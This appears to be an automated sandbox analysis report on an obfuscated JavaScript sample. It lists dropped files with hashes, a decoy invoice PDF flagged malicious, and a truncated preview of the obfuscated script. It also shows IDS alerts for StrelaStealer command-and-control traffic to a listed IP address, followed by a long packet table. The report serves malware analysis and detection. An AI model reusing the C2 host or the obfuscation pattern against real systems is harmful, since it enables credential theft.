Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4573e008-ba63-4c55-b269-dbc7f1769d67.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c25da527-974e-43d0-aca5-dfd3707bc374.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c8d55587-9f8a-4cc6-adae-abf399b1f6f6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15207), with CRLF line terminators
Entropy (8bit):	4.926612085597769
TrID:
File name:	2650280751468214741.js
File size:	18'665 bytes
MD5:	f6c05b5671838c5b2b7b412c43c0e5fc
SHA1:	d83d764c57d63a81622cead4e86b421bf8710229
SHA256:	e2c659ef8ac9466826d0dc73b958dac260d5df8c5b1c5a1b177b620c4c870dc8
SHA512:	e7807191cc7bd7e35594546980a03c0cc1448965a2eb9b163931c5460f3c8cc2e65e3c448dc24295a67d3e601da61b877ef10bbbe96effea8f58c9a0a9e06f48
SSDEEP:	384:UdTy0rFHTyBlDv+98jN9Y1CmCu5pefu8Lo1ufFM5+I:XVRux8U0fFS+I
TLSH:	D08263E4080C4B9BD9F1413CEFAD8CAF547C968C0AD4985C8B5D21E627D71B818FADB9
File Content Preview:	function xqnowucb(){lyqsmrfph=[1031,3079,5127,4103,2055,3072];var eovwz=this[srggzxow+bqkzrlbie+mgbns+dfooosd+wcdar+mnjteklj+jbvxijd+yyobf](this[lxnfuumyp+qirwn+jaqbnvksp+mgbns+qdqvhc+srggzxow+yyobf][frmriyar+mgbns+wcdar+bqkzrlbie+yyobf+wcdar+fqxyvgzjc+ns

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:11:33.744321+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T07:11:33.744321+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T07:11:36.893697+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49712	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:11:32.929313898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:32.934158087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:32.934240103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:32.936619043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:32.941416025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744039059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744090080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744101048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744219065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744230032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744240999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744251966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744263887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744321108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.744321108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.744321108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.744362116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744378090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.744625092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.749201059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.749294996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.749464989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.798248053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.798280954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.798393965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.867968082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.868014097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.868024111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.868264914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.868304968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.868304968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.868345022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.868357897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.868407965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.868483067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.868494034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.868546009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.869024038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.869152069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.869162083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.869188070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.869280100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.869306087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.869306087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.869900942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.869956970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.869967937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.870014906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.870014906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.870086908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.870098114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.870580912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.870734930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.870806932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.870817900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.871161938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.924978018 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.927592993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.927653074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.927912951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.977345943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.977443933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.977456093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.977504015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.992384911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.992446899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.992454052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.992459059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.992530107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.992562056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.992573977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.992656946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.992682934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.992784977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.992795944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.992887020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.992889881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.992990971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.993005037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.993032932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.993062019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.993613958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.993624926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.993637085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.993679047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.993741989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.993796110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.993807077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.993813038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.993817091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.993843079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.994534016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.994544029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.994555950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.994580984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.994741917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.994755030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.994765043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.994776011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.994786978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.994786978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.994852066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.995450974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.995568991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.995580912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.995644093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.995654106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.995666027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.995732069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.995732069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.995831013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.996440887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.996478081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.996490002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:33.996551991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.996551991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:33.996659040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.016108990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.016120911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.016350031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.065610886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.065872908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.065967083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.065979004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.065999985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.066011906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.066061020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.066061020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.080919981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.081053972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.081084013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.081094027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.081106901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.081247091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.101702929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.101749897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.101813078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.101826906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.101936102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.101948023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.101953983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.102086067 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.116575956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.116656065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.116669893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.116709948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.116785049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.116815090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.116827011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.116852045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.116852045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.116977930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117033958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117108107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117119074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.117213011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117243052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117330074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117343903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117366076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.117366076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.117430925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117480993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117494106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117559910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.117559910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.117708921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117722034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117734909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117747068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.117768049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.117837906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.117894888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118220091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118235111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118246078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118257999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118280888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.118485928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118496895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118554115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118566036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118577957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118582010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.118623972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.118623972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.118757963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118772030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118879080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.118973017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118984938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.118997097 CET	80	49710	193.143.1.205	192.168.2.6
